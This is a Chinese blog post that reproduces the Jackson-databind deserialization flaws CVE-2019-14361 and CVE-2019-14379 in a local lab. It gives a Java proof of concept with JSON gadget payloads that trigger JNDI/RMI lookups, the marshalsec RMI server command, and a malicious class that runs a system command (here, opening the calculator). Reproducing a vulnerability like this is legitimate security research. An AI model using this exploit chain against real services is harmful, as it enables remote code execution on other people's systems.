CVE-2019-14361 & CVE-2019-14379漏洞复现


CVE-2019-14361 & CVE-2019-14379漏洞复现

7月30日晚收到了推送,得知 Jackson-databind 又出了新的 RCE ,又有大佬找到了新的利用方式。

漏洞分析

根据 Jackson 开发者的 issue ,触发这个 Jackson 漏洞需要满足如下要求,

目标应用接收到不可信客户端发送的 JSON 数据
目标应用使用多态类型处理方式来处理java.lang.Object类型的属性;
在该漏洞中就是依赖的第三方jar包有点多(感觉在实际利用过程中能遇到这些个库也挺巧的)

环境搭建

本文中用到的第三方库有:
jackson-annotations-2.9.8
jackson-core-2.9.8
jackson-databind-2.9.8
ehcache-2.9.1
slf4j-api-1.7.7
logback-core-1.3.0-alpha4
slf4j-simple-1.7.21
javax.transaction_1.0.0.0_1-1

http://www.mvnrepository.com 上下载即可。

漏洞代码

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import java.lang.Exception;

public class Main {

    public static void main(String[] args) {

        System.out.println("Mapping");
        // 注意,在高版本的JDK上存在限制,需要将com.sun.jndi.rmi.object.trustURLCodebase的值设置为true,默认为false
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        // CVE-2019-14361 payload
        String jsonStr1 = "[\"ch.qos.logback.core.db.JNDIConnectionSource\", {\"jndiLocation\":\"rmi://127.0.0.1:1099/ExportObject\"}]";
        // CVE-2019-14379 payload
        String jsonStr2 = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"rmi://127.0.0.1:1099/ExportObject\"}}]";

        ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);

        System.out.println("Serializing");

        Object obj = null;

        try {
            // !->此处更换payload<-!
            obj = mapper.readValue(jsonStr1, java.lang.Object.class);
        } catch(Exception e) {
            e.printStackTrace();
        }

        System.out.println("objectified");

        try {
            mapper.writeValueAsString(obj);
        } catch(Exception e) {
            e.printStackTrace();
        }
        try {
            System.out.println("stringified: " + mapper.writeValueAsString(obj));
        } catch(Exception e)
        {
            e.printStackTrace();
        }

    }
}

构建步骤

本文在 IDEA 上生成项目

  1. 新建 java Commandline 项目
  2. 将上述代码复制进 Main 函数
  3. 单击红框中的图标,进入项目结构设置
  4. 将下载好的外部库导入到项目中
    具体导入步骤可以参考我的这篇文章,再此不做赘述 https://www.secquan.org/BugWarning/1069944

攻击流程

  1. 开启 RMI 服务
    为了方便,我们可以使用marshalsec这款神器,可以快速开启RMI和LDAP服务。当然你需要下载源码包,使用maven编译。下载链接:https://github.com/mbechler/marshalsec,下载到本地后,利用 mvn clean package -DskipTests 即可编译,编译的结果如下:

开启RMI服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:8000/#ExportObject

成功开启后的截图

注::# 后面填写你的恶意类的类名,它会自动绑定 URI,rmi 默认端口号为 1099 。

  1. 编译ExportObject.java

ExportObject.java代码内容如下:

package com.by.rmi;

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ExportObject {
    public ExportObject() throws Exception {
        Process proc = Runtime.getRuntime().exec("open /Applications/Calculator.app");
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();

        String line;
        while((line = br.readLine()) != null) {
            sb.append(line).append("\n");
        }

        String result = sb.toString();
        Exception e = new Exception(result);
        throw e;
    }

    public static void main(String[] args) throws Exception {
        ExportObject e = new ExportObject();
    }
}

:上述代码的功能为在 mac 平台上弹出计算器,如更换平台,请自行更换 exec 函数中的内容。

编译成class文件:
javac ExportObject.java

  1. 在生成 ExportObject.class 文件夹下执行 python2 -m SimpleHTTPServer 8000,在本地启动 HTTP 服务。

CVE-2019-14361 测试

将 POC 中的 payload 更换为 jsonStr1,并编译运行,结果如下:

CVE-2019-14379 测试

将 POC 中的 payload 更换为 jsonStr2,并编译运行,结果如下:

相应的,rmi 服务运行的截图如下:


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
Apache Solr 远程命令执行漏洞:CVE-2019-0193 Apache Solr 远程命令执行漏洞:CVE-2019-0193
Apache Solr 远程命令执行漏洞2019年8月1日,Apache Solr官方发布了 CVE-2019-0193 漏洞预警,漏洞危害评级为严重。 此次漏洞出现在 Apache Solr 的 DataImportHandler ,该模
2019-08-07
下一篇 
MyJSRat结合CHM命令执行 MyJSRat结合CHM命令执行
MyJSRat结合CHM命令执行MyJSRat MyJSRat 是JSBackdoor的python版本 下载地址:https://github.com/Ridter/MyJSRat Easy CHM CHM是英语“Compiled He
2019-07-28
  目录